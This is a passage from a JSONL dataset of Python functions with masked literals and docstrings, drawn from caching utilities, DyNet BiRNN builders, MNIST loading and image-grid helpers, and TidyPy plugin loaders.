set(cacher.existing_versions())\n    >>> exist_fnames = list(map(basename, exist_fpaths))\n    >>> print(exist_fnames)\n    >>> assert exist_fpaths == known_fnames\n\n    ['versioned_data_1.pkl', 'versioned_data_2.pkl']", "id": "f5147:c0:m5"}
{"signature": "def clear(self, cfgstr=None):", "body": "data_fpath = self.get_fpath(cfgstr)<EOL>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>self.log('<STR_LIT>')<EOL><DEDENT>if exists(data_fpath):<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>self.log('<STR_LIT>'.format(data_fpath))<EOL><DEDENT>os.remove(data_fpath)<EOL>meta_fpath = data_fpath + '<STR_LIT>'<EOL>if exists(meta_fpath):<EOL><INDENT>os.remove(meta_fpath)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>self.log('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Removes the saved cache and metadata from disk", "id": "f5147:c0:m6"}
{"signature": "def tryload(self, cfgstr=None, on_error='<STR_LIT>'):", "body": "cfgstr = self._rectify_cfgstr(cfgstr)<EOL>if self.enabled:<EOL><INDENT>try:<EOL><INDENT>if self.verbose > <NUM_LIT:1>:<EOL><INDENT>self.log('<STR_LIT>'.format(self.fname))<EOL><DEDENT>return self.load(cfgstr)<EOL><DEDENT>except IOError:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>self.log('<STR_LIT>'.format(self.fname))<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>self.log('<STR_LIT>')<EOL><DEDENT>if on_error == '<STR_LIT>':<EOL><INDENT>raise<EOL><DEDENT>elif on_error == '<STR_LIT>':<EOL><INDENT>self.clear(cfgstr)<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>'.format(on_error))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if self.verbose > <NUM_LIT:1>:<EOL><INDENT>self.log('<STR_LIT>'.format(self.fname))<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Like load, but returns None if the load fails due to a cache miss.\n\nArgs:\n    on_error (str): How to handle non-io errors errors. Either raise,\n        which re-raises the exception, or clear which deletes the cache\n        and returns None.", "id": "f5147:c0:m7"}
{"signature": "def load(self, cfgstr=None):", "body": "from six.moves import cPickle as pickle<EOL>cfgstr = self._rectify_cfgstr(cfgstr)<EOL>dpath = self.dpath<EOL>fname = self.fname<EOL>verbose = self.verbose<EOL>if not self.enabled:<EOL><INDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>self.log('<STR_LIT>'.format(self.fname))<EOL><DEDENT>raise IOError(<NUM_LIT:3>, '<STR_LIT>')<EOL><DEDENT>fpath = self.get_fpath(cfgstr=cfgstr)<EOL>if not exists(fpath):<EOL><INDENT>if verbose > <NUM_LIT:2>:<EOL><INDENT>self.log('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>basename(dpath), fname, cfgstr))<EOL><DEDENT>raise IOError(<NUM_LIT:2>, '<STR_LIT>' % (fpath,))<EOL><DEDENT>else:<EOL><INDENT>if verbose > <NUM_LIT:3>:<EOL><INDENT>self.log('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>basename(dpath), fname, cfgstr))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>with open(fpath, '<STR_LIT:rb>') as file_:<EOL><INDENT>data = pickle.load(file_)<EOL><DEDENT><DEDENT>except Exception as ex:<EOL><INDENT>if verbose > <NUM_LIT:0>:<EOL><INDENT>self.log('<STR_LIT>' % (fpath,))<EOL><DEDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>self.log('<STR_LIT>'.format(<EOL>basename(dpath), cfgstr))<EOL><DEDENT>if isinstance(ex, (EOFError, IOError, ImportError)):<EOL><INDENT>raise IOError(str(ex))<EOL><DEDENT>else:<EOL><INDENT>if verbose > <NUM_LIT:1>:<EOL><INDENT>self.log('<STR_LIT>')<EOL><DEDENT>raise<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.verbose > <NUM_LIT:2>:<EOL><INDENT>self.log('<STR_LIT>'.format(self.fname))<EOL><DEDENT>elif verbose > <NUM_LIT:1>:<EOL><INDENT>self.log('<STR_LIT>')<EOL><DEDENT><DEDENT>return data<EOL>", "docstring": "Loads the data\n\nRaises:\n    IOError - if the data is unable to be loaded. This could be due to\n        a cache miss or because the cache is disabled.\n\nExample:\n    >>> from ubelt.util_cache import *  # NOQA\n    >>> # Setting the cacher as enabled=False turns it off\n    >>> cacher = Cacher('test_disabled_load', '', enabled=True)\n    >>> cacher.save('data')\n    >>> assert cacher.load() == 'data'\n    >>> cacher.enabled = False\n    >>> assert cacher.tryload() is None", "id": "f5147:c0:m8"}
{"signature": "def save(self, data, cfgstr=None):", "body": "from six.moves import cPickle as pickle<EOL>if not self.enabled:<EOL><INDENT>return<EOL><DEDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>self.log('<STR_LIT>'.format(self.fname))<EOL><DEDENT>cfgstr = self._rectify_cfgstr(cfgstr)<EOL>condensed = self._condense_cfgstr(cfgstr)<EOL>util_path.ensuredir(self.dpath)<EOL>data_fpath = self.get_fpath(cfgstr=cfgstr)<EOL>meta_fpath = data_fpath + '<STR_LIT>'<EOL>with open(meta_fpath, '<STR_LIT:a>') as file_:<EOL><INDENT>file_.write('<STR_LIT>'.format(util_time.timestamp()))<EOL>file_.write(self.fname + '<STR_LIT:\\n>')<EOL>file_.write(condensed + '<STR_LIT:\\n>')<EOL>file_.write(cfgstr + '<STR_LIT:\\n>')<EOL>file_.write(str(self.meta) + '<STR_LIT:\\n>')<EOL><DEDENT>with open(data_fpath, '<STR_LIT:wb>') as file_:<EOL><INDENT>pickle.dump(data, file_, protocol=self.protocol)<EOL><DEDENT>", "docstring": "Writes data to path specified by `self.fpath(cfgstr)`.\n\nMetadata containing information about the cache will also be appended\nto an adjacent file with the `.meta` suffix.\n\nExample:\n    >>> from ubelt.util_cache import *  # NOQA\n    >>> # Normal functioning\n    >>> cfgstr = 'long-cfg' * 32\n    >>> cacher = Cacher('test_enabled_save', cfgstr)\n    >>> cacher.save('data')\n    >>> assert exists(cacher.get_fpath()), 'should be enabeled'\n    >>> assert exists(cacher.get_fpath() + '.meta'), 'missing metadata'\n    >>> # Setting the cacher as enabled=False turns it off\n    >>> cacher2 = Cacher('test_disabled_save', 'params', enabled=False)\n    >>> cacher2.save('data')\n    >>> assert not exists(cacher2.get_fpath()), 'should be disabled'", "id": "f5147:c0:m9"}
{"signature": "def ensure(self, func, *args, **kwargs):", "body": "data = self.tryload()<EOL>if data is None:<EOL><INDENT>data = func(*args, **kwargs)<EOL>self.save(data)<EOL><DEDENT>return data<EOL>", "docstring": "r\"\"\"\n        Wraps around a function. A cfgstr must be stored in the base cacher.\n\n        Args:\n            func (callable): function that will compute data on cache miss\n            *args: passed to func\n            **kwargs: passed to func\n\n        Example:\n            >>> from ubelt.util_cache import *  # NOQA\n            >>> def func():\n            >>>     return 'expensive result'\n            >>> fname = 'test_cacher_ensure'\n            >>> cfgstr = 'func params'\n            >>> cacher = Cacher(fname, cfgstr)\n            >>> cacher.clear()\n            >>> data1 = cacher.ensure(func)\n            >>> data2 = cacher.ensure(func)\n            >>> assert data1 == 'expensive result'\n            >>> assert data1 == data2\n            >>> cacher.clear()", "id": "f5147:c0:m10"}
{"signature": "def __call__(self, func):", "body": "<EOL>def _wrapper():<EOL><INDENT>data = self.ensure(func)<EOL>return data<EOL><DEDENT>_wrapper.cacher = self<EOL>return _wrapper<EOL>", "docstring": "Allows Cacher to be used as a decorator for functions with no\narguments. This mode of usage has much less control than others, so it\nis only recommended for the simplest of cases.\n\nArgs:\n    func (Callable): function to decorate. Must have no arguments.\n\nExample:\n    >>> from ubelt.util_cache import *  # NOQA\n    >>> @Cacher('demo_cacher_call', cfgstr='foobar')\n    >>> def func():\n    >>>     return 'expensive result'\n    >>> func.cacher.clear()\n    >>> assert not func.cacher.exists()\n    >>> data = func()\n    >>> assert func.cacher.exists()\n    >>> func.cacher.clear()", "id": "f5147:c0:m11"}
{"signature": "def _get_certificate(self, cfgstr=None):", "body": "certificate = self.cacher.tryload(cfgstr=cfgstr)<EOL>return certificate<EOL>", "docstring": "Returns the stamp certificate if it exists", "id": "f5147:c1:m1"}
{"signature": "def _rectify_products(self, product=None):", "body": "products = self.product if product is None else product<EOL>if products is None:<EOL><INDENT>return None<EOL><DEDENT>if not isinstance(products, (list, tuple)):<EOL><INDENT>products = [products]<EOL><DEDENT>return products<EOL>", "docstring": "puts products in a normalized format", "id": "f5147:c1:m2"}
{"signature": "def _product_file_hash(self, product=None):", "body": "if self.hasher is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>products = self._rectify_products(product)<EOL>product_file_hash = [<EOL>util_hash.hash_file(p, hasher=self.hasher, base='<STR_LIT>')<EOL>for p in products<EOL>]<EOL>return product_file_hash<EOL><DEDENT>", "docstring": "Get the hash of the each product file", "id": "f5147:c1:m3"}
{"signature": "def expired(self, cfgstr=None, product=None):", "body": "products = self._rectify_products(product)<EOL>certificate = self._get_certificate(cfgstr=cfgstr)<EOL>if certificate is None:<EOL><INDENT>is_expired = True<EOL><DEDENT>elif products is None:<EOL><INDENT>is_expired = False<EOL><DEDENT>elif not all(map(os.path.exists, products)):<EOL><INDENT>is_expired = True<EOL><DEDENT>else:<EOL><INDENT>product_file_hash = self._product_file_hash(products)<EOL>certificate_hash = certificate.get('<STR_LIT>', None)<EOL>is_expired = product_file_hash != certificate_hash<EOL><DEDENT>return is_expired<EOL>", "docstring": "Check to see if a previously existing stamp is still valid and if the\nexpected result of that computation still exists.\n\nArgs:\n    cfgstr (str, optional): override the default cfgstr if specified\n    product (PathLike or Sequence[PathLike], optional): override the\n        default product if specified", "id": "f5147:c1:m4"}
{"signature": "def renew(self, cfgstr=None, product=None):", "body": "products = self._rectify_products(product)<EOL>certificate = {<EOL>'<STR_LIT>': util_time.timestamp(),<EOL>'<STR_LIT>': products,<EOL>}<EOL>if products is not None:<EOL><INDENT>if not all(map(os.path.exists, products)):<EOL><INDENT>raise IOError(<EOL>'<STR_LIT>'.format(products))<EOL><DEDENT>certificate['<STR_LIT>'] = self._product_file_hash(products)<EOL><DEDENT>self.cacher.save(certificate, cfgstr=cfgstr)<EOL>return certificate<EOL>", "docstring": "Recertify that the product has been recomputed by writing a new\ncertificate to disk.", "id": "f5147:c1:m5"}
{"signature": "def make_network_graph(compact, expression_names, lookup_names):", "body": "nodes = set()<EOL>edges = defaultdict(set) <EOL>var_name_dict = dict()<EOL>if expression_names:<EOL><INDENT>for e in graphviz_items: <EOL><INDENT>if e in expression_names:<EOL><INDENT>var_name_dict[e.vindex] = expression_names[e]<EOL><DEDENT><DEDENT><DEDENT>rnn_bldr_name = defaultdict(lambda: chr(len(rnn_bldr_name)+ord('<STR_LIT:A>')))<EOL>def vidx2str(vidx): return '<STR_LIT>' % ('<STR_LIT:N>', vidx)<EOL>for e in graphviz_items: <EOL><INDENT>vidx = e.vindex<EOL>f_name = e.name<EOL>args = e.args<EOL>output_dim = e.dim<EOL>input_dim = None <EOL>children = set()<EOL>node_type = '<STR_LIT>'<EOL>if f_name == '<STR_LIT>':<EOL><INDENT>[_dim] = args<EOL>arg_strs = []<EOL><DEDENT>elif f_name == '<STR_LIT>':<EOL><INDENT>[_v] = args<EOL>arg_strs = []<EOL><DEDENT>elif f_name == '<STR_LIT>':<EOL><INDENT>[_d1, _d2] = args<EOL>arg_strs = []<EOL><DEDENT>elif f_name == '<STR_LIT>':<EOL><INDENT>[_v, _d] = args<EOL>arg_strs = []<EOL><DEDENT>elif f_name == '<STR_LIT>':<EOL><INDENT>[_dim] = args<EOL>arg_strs = []<EOL>if compact:<EOL><INDENT>if vidx in var_name_dict:<EOL><INDENT>f_name = var_name_dict[vidx]<EOL><DEDENT><DEDENT>node_type = '<STR_LIT>'<EOL><DEDENT>elif f_name == '<STR_LIT>':<EOL><INDENT>[_dim] = args<EOL>arg_strs = []<EOL>if compact:<EOL><INDENT>if vidx in var_name_dict:<EOL><INDENT>f_name = var_name_dict[vidx]<EOL><DEDENT><DEDENT>node_type = '<STR_LIT>'<EOL><DEDENT>elif f_name == '<STR_LIT>':<EOL><INDENT>[p, idx, update] = args<EOL>[_dim] = p.args<EOL>if vidx in var_name_dict:<EOL><INDENT>name = var_name_dict[vidx]<EOL><DEDENT>else:<EOL><INDENT>name = None<EOL><DEDENT>item_name = None<EOL>if lookup_names and p in expression_names:<EOL><INDENT>param_name = expression_names[p]<EOL>if param_name in lookup_names:<EOL><INDENT>item_name = '<STR_LIT>' % (lookup_names[param_name][idx],)<EOL><DEDENT><DEDENT>if compact:<EOL><INDENT>if item_name is not None:<EOL><INDENT>f_name = item_name<EOL><DEDENT>elif name is not None:<EOL><INDENT>f_name = '<STR_LIT>' % (name, idx)<EOL><DEDENT>else:<EOL><INDENT>f_name = '<STR_LIT>' % (idx)<EOL><DEDENT>arg_strs = []<EOL><DEDENT>else:<EOL><INDENT>arg_strs = [var_name_dict.get(p.vindex, '<STR_LIT>' % (p.vindex))]<EOL>if item_name is not None:<EOL><INDENT>arg_strs.append(item_name)<EOL><DEDENT>vocab_size = _dim[<NUM_LIT:0>]<EOL>arg_strs.extend(['<STR_LIT:%s>' % (idx), '<STR_LIT:%s>' % (vocab_size), '<STR_LIT>' if update else '<STR_LIT>'])<EOL><DEDENT><DEDENT>elif f_name == '<STR_LIT>':<EOL><INDENT>[arg, input_dim, bldr_type, bldr_num, state_idx] = args <EOL>rnn_name = rnn_bldr_name[bldr_num]<EOL>if bldr_type.endswith('<STR_LIT>'):<EOL><INDENT>bldr_type[:-len('<STR_LIT>')]<EOL><DEDENT>f_name = '<STR_LIT>' % (bldr_type, rnn_name, state_idx)<EOL>if not compact:<EOL><INDENT>i = arg.vindex<EOL>s = var_name_dict.get(i, '<STR_LIT>' % (i))<EOL>arg_strs = [s]<EOL><DEDENT>else:<EOL><INDENT>arg_strs = []<EOL><DEDENT>children.add(vidx2str(arg.vindex))<EOL>node_type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>arg_strs = []<EOL>for arg in args:<EOL><INDENT>if isinstance(arg, Expression):<EOL><INDENT>if not compact:<EOL><INDENT>i = arg.vindex<EOL>s = var_name_dict.get(i, '<STR_LIT>' % (i))<EOL>arg_strs.append(s)<EOL><DEDENT>children.add(vidx2str(arg.vindex))<EOL><DEDENT>elif isinstance(arg, float) and compact:<EOL><INDENT>s = re.sub('<STR_LIT>', '<STR_LIT>', '<STR_LIT>' % (arg))<EOL>if s == '<STR_LIT>':<EOL><INDENT>s = str(arg)<EOL><DEDENT>arg_strs.append(s)<EOL><DEDENT>else:<EOL><INDENT>arg_strs.append(str(arg))<EOL>", "docstring": "Make a network graph, represented as of nodes and a set of edges.  \n  The nodes are represented as tuples: (name: string, input_dim: Dim, label: string, output_dim: Dim, children: set[name], features: string)\n#   The edges are represented as dict of children to sets of parents: (child: string) -> [(parent: string, features: string)]", "id": "f5153:m83"}
{"signature": "def __init__(self, num_layers, input_dim, hidden_dim, model, rnn_builder_factory):", "body": "assert num_layers > <NUM_LIT:0><EOL>assert hidden_dim % <NUM_LIT:2> == <NUM_LIT:0><EOL>self.builder_layers = []<EOL>f = rnn_builder_factory(<NUM_LIT:1>, input_dim, hidden_dim/<NUM_LIT:2>, model)<EOL>b = rnn_builder_factory(<NUM_LIT:1>, input_dim, hidden_dim/<NUM_LIT:2>, model)<EOL>self.builder_layers.append((f,b))<EOL>for _ in xrange(num_layers-<NUM_LIT:1>):<EOL><INDENT>f = rnn_builder_factory(<NUM_LIT:1>, hidden_dim, hidden_dim/<NUM_LIT:2>, model)<EOL>b = rnn_builder_factory(<NUM_LIT:1>, hidden_dim, hidden_dim/<NUM_LIT:2>, model)<EOL>self.builder_layers.append((f,b))<EOL><DEDENT>", "docstring": "@param num_layers: depth of the BiRNN\n@param input_dim: size of the inputs\n@param hidden_dim: size of the outputs (and intermediate layer representations)\n@param model\n@param rnn_builder_factory: RNNBuilder subclass, e.g. LSTMBuilder", "id": "f5153:c10:m0"}
{"signature": "def add_inputs(self, es):", "body": "for e in es:<EOL><INDENT>ensure_freshness(e)<EOL><DEDENT>for (fb,bb) in self.builder_layers[:-<NUM_LIT:1>]:<EOL><INDENT>fs = fb.initial_state().transduce(es)<EOL>bs = bb.initial_state().transduce(reversed(es))<EOL>es = [concatenate([f,b]) for f,b in zip(fs, reversed(bs))]<EOL><DEDENT>(fb,bb) = self.builder_layers[-<NUM_LIT:1>]<EOL>fs = fb.initial_state().add_inputs(es)<EOL>bs = bb.initial_state().add_inputs(reversed(es))<EOL>return [(f,b) for f,b in zip(fs, reversed(bs))]<EOL>", "docstring": "returns the list of state pairs (stateF, stateB) obtained by adding \ninputs to both forward (stateF) and backward (stateB) RNNs.  \n\n@param es: a list of Expression\n\nsee also transduce(xs)\n\n.transduce(xs) is different from .add_inputs(xs) in the following way:\n\n    .add_inputs(xs) returns a list of RNNState pairs. RNNState objects can be\n     queried in various ways. In particular, they allow access to the previous\n     state, as well as to the state-vectors (h() and s() )\n\n    .transduce(xs) returns a list of Expression. These are just the output\n     expressions. For many cases, this suffices. \n     transduce is much more memory efficient than add_inputs.", "id": "f5153:c10:m4"}
{"signature": "def transduce(self, es):", "body": "for e in es:<EOL><INDENT>ensure_freshness(e)<EOL><DEDENT>for (fb,bb) in self.builder_layers:<EOL><INDENT>fs = fb.initial_state().transduce(es)<EOL>bs = bb.initial_state().transduce(reversed(es))<EOL>es = [concatenate([f,b]) for f,b in zip(fs, reversed(bs))]<EOL><DEDENT>return es<EOL>", "docstring": "returns the list of output Expressions obtained by adding the given inputs\nto the current state, one by one, to both the forward and backward RNNs, \nand concatenating.\n\n@param es: a list of Expression\n\nsee also add_inputs(xs)\n\n.transduce(xs) is different from .add_inputs(xs) in the following way:\n\n    .add_inputs(xs) returns a list of RNNState pairs. RNNState objects can be\n     queried in various ways. In particular, they allow access to the previous\n     state, as well as to the state-vectors (h() and s() )\n\n    .transduce(xs) returns a list of Expression. These are just the output\n     expressions. For many cases, this suffices. \n     transduce is much more memory efficient than add_inputs.", "id": "f5153:c10:m5"}
{"signature": "def add_inputs(self, xs):", "body": "states = []<EOL>cur = self<EOL>for x in xs:<EOL><INDENT>cur = cur.add_input(x)<EOL>states.append(cur)<EOL><DEDENT>return states<EOL>", "docstring": "returns the list of states obtained by adding the given inputs\nto the current state, one by one.", "id": "f5153:c12:m6"}
{"signature": "def pythonize_arguments(arg_str):", "body": "out_args = []<EOL>if arg_str is None:<EOL><INDENT>return out_str<EOL><DEDENT>args = arg_str.split('<STR_LIT:U+002C>')<EOL>for arg in args:<EOL><INDENT>components = arg.split('<STR_LIT:=>')<EOL>name_and_type=components[<NUM_LIT:0>].split('<STR_LIT:U+0020>')<EOL>if name_and_type[-<NUM_LIT:1>]=='<STR_LIT>' and len(name_and_type)><NUM_LIT:1>:<EOL><INDENT>name=name_and_type[-<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>name=name_and_type[-<NUM_LIT:1>]<EOL><DEDENT>if len(components)><NUM_LIT:1>:<EOL><INDENT>name+='<STR_LIT:=>'+components[<NUM_LIT:1>]<EOL><DEDENT>out_args.append(name)<EOL><DEDENT>return '<STR_LIT:U+002C>'.join(out_args)<EOL>", "docstring": "Remove types from function arguments in cython", "id": "f5156:m0"}
{"signature": "def get_indent(indent_str):", "body": "if indent_str is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return indent_str<EOL><DEDENT>", "docstring": "Check if the indent exists", "id": "f5156:m1"}
{"signature": "def get_inherit(inherit_str):", "body": "if inherit_str is None:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return inherit_str<EOL><DEDENT>", "docstring": "Check if there is a parent class", "id": "f5156:m2"}
{"signature": "def get_func_name(func_str):", "body": "name = func_str.split('<STR_LIT:U+0020>')[-<NUM_LIT:1>]<EOL>return name<EOL>", "docstring": "Get function name, ie removes possible return type", "id": "f5156:m3"}
{"signature": "def maybe_download_and_extract():", "body": "dest_directory = '<STR_LIT:.>'<EOL>filename = DATA_URL.split('<STR_LIT:/>')[-<NUM_LIT:1>]<EOL>filepath = os.path.join(dest_directory, filename)<EOL>if not os.path.exists(filepath):<EOL><INDENT>def _progress(count, block_size, total_size):<EOL><INDENT>sys.stdout.write('<STR_LIT>' % (filename,<EOL>float(count * block_size) / float(total_size) * <NUM_LIT>))<EOL>sys.stdout.flush()<EOL><DEDENT>filepath, _ = urllib.request.urlretrieve(DATA_URL, filepath, _progress)<EOL>print()<EOL>statinfo = os.stat(filepath)<EOL>print('<STR_LIT>', filename, statinfo.st_size, '<STR_LIT>')<EOL><DEDENT>extracted_dir_path = os.path.join(dest_directory, '<STR_LIT>')<EOL>if not os.path.exists(extracted_dir_path):<EOL><INDENT>zip_ref = zipfile.ZipFile(filepath, '<STR_LIT:r>')<EOL>zip_ref.extractall(dest_directory)<EOL>zip_ref.close()<EOL><DEDENT>", "docstring": "Download and extract processed data and embeddings.", "id": "f5174:m0"}
{"signature": "def load_mnist(dataset, path):", "body": "if dataset is \"<STR_LIT>\":<EOL><INDENT>fname_img = os.path.join(path, \"<STR_LIT>\")<EOL>fname_lbl = os.path.join(path, \"<STR_LIT>\")<EOL><DEDENT>elif dataset is \"<STR_LIT>\":<EOL><INDENT>fname_img = os.path.join(path, \"<STR_LIT>\")<EOL>fname_lbl = os.path.join(path, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>with open(fname_lbl, \"<STR_LIT:rb>\") as flbl:<EOL><INDENT>magic, num = struct.unpack(\"<STR_LIT>\", flbl.read(<NUM_LIT:8>))<EOL>labels = np.fromfile(flbl, dtype=np.int8)<EOL><DEDENT>with open(fname_img, \"<STR_LIT:rb>\") as fimg:<EOL><INDENT>magic, num, rows, cols = struct.unpack(\"<STR_LIT>\", fimg.read(<NUM_LIT:16>))<EOL>images = np.multiply(<EOL>np.fromfile(fimg, dtype=np.uint8).reshape(len(labels), rows*cols),<EOL><NUM_LIT:1.0> / <NUM_LIT>)<EOL><DEDENT>get_instance = lambda idx: (labels[idx], images[idx].reshape(<NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>))<EOL>size_reset = lambda x: x.reshape(<NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>)<EOL>return list(map(size_reset, images))<EOL>", "docstring": "wget -O - http://yann.lecun.com/exdb/mnist/train-images-idx3-ubyte.gz | gunzip > train-images-idx3-ubyte\nwget -O - http://yann.lecun.com/exdb/mnist/train-labels-idx1-ubyte.gz | gunzip > train-labels-idx1-ubyte\nwget -O - http://yann.lecun.com/exdb/mnist/t10k-images-idx3-ubyte.gz | gunzip > t10k-images-idx3-ubyte\nwget -O - http://yann.lecun.com/exdb/mnist/t10k-labels-idx1-ubyte.gz | gunzip > t10k-labels-idx1-ubyte", "id": "f5187:m0"}
{"signature": "def make_grid(tensor, nrow=<NUM_LIT:8>, padding=<NUM_LIT:2>, pad_value=<NUM_LIT:0>):", "body": "if not (isinstance(tensor, np.ndarray) or<EOL>(isinstance(tensor, list) and all(isinstance(t, np.ndarray) for t in tensor))):<EOL><INDENT>raise TypeError('<STR_LIT>'.format(type(tensor)))<EOL><DEDENT>if isinstance(tensor, list):<EOL><INDENT>tensor = np.stack(tensor, <NUM_LIT:0>)<EOL><DEDENT>if tensor.ndim == <NUM_LIT:2>:  <EOL><INDENT>tensor = tensor.reshape((<NUM_LIT:1>, tensor.shape[<NUM_LIT:0>], tensor.shape[<NUM_LIT:1>]))<EOL><DEDENT>if tensor.ndim == <NUM_LIT:3>:<EOL><INDENT>if tensor.shape[<NUM_LIT:0>] == <NUM_LIT:1>:  <EOL><INDENT>tensor = np.concatenate((tensor, tensor, tensor), <NUM_LIT:0>)<EOL><DEDENT>tensor = tensor.reshape((<NUM_LIT:1>, tensor.shape[<NUM_LIT:0>], tensor.shape[<NUM_LIT:1>], tensor.shape[<NUM_LIT:2>]))<EOL><DEDENT>if tensor.ndim == <NUM_LIT:4> and tensor.shape[<NUM_LIT:1>] == <NUM_LIT:1>:  <EOL><INDENT>tensor = np.concatenate((tensor, tensor, tensor), <NUM_LIT:1>)<EOL><DEDENT>if tensor.shape[<NUM_LIT:0>] == <NUM_LIT:1>:<EOL><INDENT>return np.squeeze(tensor)<EOL><DEDENT>nmaps = tensor.shape[<NUM_LIT:0>]<EOL>xmaps = min(nrow, nmaps)<EOL>ymaps = int(math.ceil(float(nmaps) / xmaps))<EOL>height, width = int(tensor.shape[<NUM_LIT:2>] + padding), int(tensor.shape[<NUM_LIT:3>] + padding)<EOL>grid = np.ones((<NUM_LIT:3>, height * ymaps + padding, width * xmaps + padding)) * pad_value<EOL>k = <NUM_LIT:0><EOL>for y in range(ymaps):<EOL><INDENT>for x in range(xmaps):<EOL><INDENT>if k >= nmaps:<EOL><INDENT>break<EOL><DEDENT>grid[:, y * height + padding:(y+<NUM_LIT:1>) * height,x * width + padding:(x+<NUM_LIT:1>) * width] = tensor[k]<EOL>k = k + <NUM_LIT:1><EOL><DEDENT><DEDENT>return grid<EOL>", "docstring": "Make a grid of images, via numpy.\n\n    Args:\n        tensor (Tensor or list): 4D mini-batch Tensor of shape (B x C x H x W)\n            or a list of images all of the same size.\n        nrow (int, optional): Number of images displayed in each row of the grid.\n            The Final grid size is (B / nrow, nrow). Default is 8.\n        padding (int, optional): amount of padding. Default is 2.\n        pad_value (float, optional): Value for the padded pixels.", "id": "f5187:m1"}
{"signature": "def save_image(tensor, filename, nrow=<NUM_LIT:8>, padding=<NUM_LIT:2>, pad_value=<NUM_LIT:0>):", "body": "from PIL import Image<EOL>grid = make_grid(tensor, nrow=nrow, padding=padding, pad_value=pad_value)<EOL>im = Image.fromarray(pre_pillow_float_img_process(grid))<EOL>im.save(filename)<EOL>", "docstring": "Save a given Tensor into an image file.\n\n    Args:\n        tensor (Tensor or list): Image to be saved. If given a mini-batch tensor,\n            saves the tensor as a grid of images by calling ``make_grid``.\n        **kwargs: Other arguments are documented in ``make_grid``.", "id": "f5187:m3"}
{"signature": "def get_tools():", "body": "<EOL>if not hasattr(get_tools, '<STR_LIT>'):<EOL><INDENT>get_tools._CACHE = dict()<EOL>for entry in pkg_resources.iter_entry_points('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>get_tools._CACHE[entry.name] = entry.load()<EOL><DEDENT>except ImportError as exc:  <EOL><INDENT>output_error(<EOL>'<STR_LIT>' % (<EOL>entry,<EOL>entry.dist,<EOL>exc,<EOL>),<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return get_tools._CACHE<EOL>", "docstring": "Retrieves the TidyPy tools that are available in the current Python\nenvironment.\n\nThe returned dictionary has keys that are the tool names and values are the\ntool classes.\n\n:rtype: dict", "id": "f5217:m0"}
{"signature": "def get_reports():", "body": "<EOL>if not hasattr(get_reports, '<STR_LIT>'):<EOL><INDENT>get_reports._CACHE = dict()<EOL>for entry in pkg_resources.iter_entry_points('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>get_reports._CACHE[entry.name] = entry.load()<EOL><DEDENT>except ImportError as exc:  <EOL><INDENT>output_error(<EOL>'<STR_LIT>' % (<EOL>entry,<EOL>entry.dist,<EOL>exc,<EOL>),<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return get_reports._CACHE<EOL>", "docstring": "Retrieves the TidyPy issue reports that are available in the current Python\nenvironment.\n\nThe returned dictionary has keys are the report names and values are the\nreport classes.\n\n:rtype: dict", "id": "f5217:m1"}
{"signature": "def get_extenders():", "body": "<EOL>if not hasattr(get_extenders, '<STR_LIT>'):<EOL><INDENT>get_extenders._CACHE = dict()<EOL>for entry in pkg_resources.iter_entry_points('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>get_extenders._CACHE[entry.name] = entry.load()<EOL><DEDENT>except ImportError as exc:  <EOL><INDENT>output_error(<EOL>'<STR_LIT>' % (<EOL>entry,<EOL>entry.dist,<EOL>exc,<EOL>),<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return get_extenders._CACHE<EOL>", "docstring": "Retrieves the TidyPy configuration extenders that are available in the\ncurrent Python environment.\n\nThe returned dictionary has keys are the extender names and values are the\nextender classes.\n\n:rtype: dict", "id": "f5217:m2"}
{"signature": "def purge_config_cache(location=None):", "body": "cache_path = get_cache_path(location)<EOL>if location:<EOL><INDENT>os.remove(cache_path)<EOL><DEDENT>else:<EOL><INDENT>shutil.rmtree(cache_path)<EOL><DEDENT>", "docstring": "Clears out the cache of TidyPy configurations that were retrieved from\noutside the normal locations.", "id": "f5217:m4"}
